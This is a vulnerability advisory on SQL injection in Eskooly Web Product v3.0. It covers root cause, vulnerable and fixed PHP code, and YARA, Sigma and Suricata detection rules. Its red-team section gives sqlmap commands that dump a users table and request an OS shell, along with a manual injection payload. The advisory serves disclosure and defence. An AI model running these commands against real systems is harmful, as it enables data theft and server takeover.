CVE-2024-27709

Executive Summary

CVE-2024-27709 is an unauthenticated SQL Injection vulnerability in Eskooly Web Product v.3.0. The flaw exists in two components: allstudents.php via the searchby parameter, and requestmanager.php via the id parameter. A remote attacker can inject arbitrary SQL queries, leading to data exfiltration, authentication bypass, or remote code execution in certain database configurations. No public proof-of-concept (PoC) or patch is currently available. The vendor has not released a security update, leaving all instances of v.3.0 vulnerable.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). Eskooly is a proprietary web product, and no supply chain artifacts are affected.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned by NVD)
• Threat Level: Critical (based on impact analysis)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in two endpoints:

1. allstudents.php – The searchby parameter is directly concatenated into SQL queries without sanitization or parameterization.
2. requestmanager.php – The id parameter is similarly vulnerable.

Attack Flow:

• An attacker sends a crafted HTTP GET/POST request to either endpoint.
• The malicious SQL payload is executed against the backend database (likely MySQL/MariaDB).
• Depending on database permissions, the attacker can:
  • Extract sensitive data (student records, credentials).
  • Modify or delete data.
  • Execute system commands via xp_cmdshell (if MSSQL) or INTO OUTFILE (if MySQL).

Root Cause: Lack of input validation and failure to use prepared statements.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// allstudents.php
$search = $_GET['searchby'];
$query = "SELECT * FROM students WHERE name LIKE '%$search%'";
$result = mysqli_query($conn, $query);

Patched Code (PHP):

// allstudents.php
$search = mysqli_real_escape_string($conn, $_GET['searchby']);
$query = "SELECT * FROM students WHERE name LIKE '%$search%'";
$result = mysqli_query($conn, $query);

Better Patched Code (PHP):

// allstudents.php
$stmt = $conn->prepare("SELECT * FROM students WHERE name LIKE ?");
$search = "%" . $_GET['searchby'] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Eskooly Web Product v.3.0 running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

1. Identify vulnerable endpoints:
   • http://target/allstudents.php?searchby=test
   • http://target/requestmanager.php?id=1
2. Use sqlmap to automate injection:

   sqlmap -u "http://target/allstudents.php?searchby=test" --batch --dbs
   sqlmap -u "http://target/requestmanager.php?id=1" --batch --dbs
   

3. Extract data:

   sqlmap -u "http://target/allstudents.php?searchby=test" --batch -D eschool -T users --dump
   

4. Attempt OS command execution (if database user has FILE privilege):

   sqlmap -u "http://target/allstudents.php?searchby=test" --os-shell
   

Manual Payload Example:

GET /allstudents.php?searchby=' OR '1'='1' -- -

Blue Team

Detection:

• Monitor for abnormal SQL error messages in logs.
• Look for requests containing SQL keywords (UNION, SELECT, OR 1=1, --).
• Use WAF rules to block common SQLi patterns.

Hunting:

• Search web server logs for requests to allstudents.php or requestmanager.php with suspicious parameters.
• Correlate with database error logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SQL injection patterns in searchby or id parameters.
  • Outbound database connections from the web server to unusual IPs.
• File IOCs:
  • Unexpected files in the web root (e.g., cmd.php, shell.php).
• Log IOCs:
  • Database error logs showing syntax errors near ' OR '1'='1.
  • Web server logs with 400 or 500 responses from vulnerable endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_27709_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Eskooly Web Product v3.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27709"
    strings:
        $sqli1 = "searchby=" nocase
        $sqli2 = "id=" nocase
        $sqli3 = "UNION" nocase
        $sqli4 = "SELECT" nocase
        $sqli5 = "OR 1=1" nocase
        $sqli6 = "--" nocase
    condition:
        any of ($sqli1, $sqli2) and any of ($sqli3, $sqli4, $sqli5, $sqli6)
}

Sigma Rule

title: CVE-2024-27709 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Eskooly Web Product v3.0
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'searchby='
            - 'id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of search functionality with SQL keywords in data
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27709 SQL Injection Attempt"; flow:to_server; content:"searchby="; nocase; content:"UNION"; nocase; distance:0; within:100; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-27709 SQL Injection Attempt"; flow:to_server; content:"id="; nocase; content:"SELECT"; nocase; distance:0; within:100; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation and parameterized queries to all database interactions.
2. Deploy a Web Application Firewall (WAF) with SQL injection rules.
3. Restrict database user privileges (remove FILE, EXECUTE, and DDL permissions).

Long-Term Fix:

• Upgrade to a patched version of Eskooly Web Product (if/when available).
• Conduct a full security audit of the application codebase.
• Implement prepared statements (PDO or MySQLi) across all endpoints.

Workarounds:

• Disable the vulnerable endpoints (allstudents.php, requestmanager.php) if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT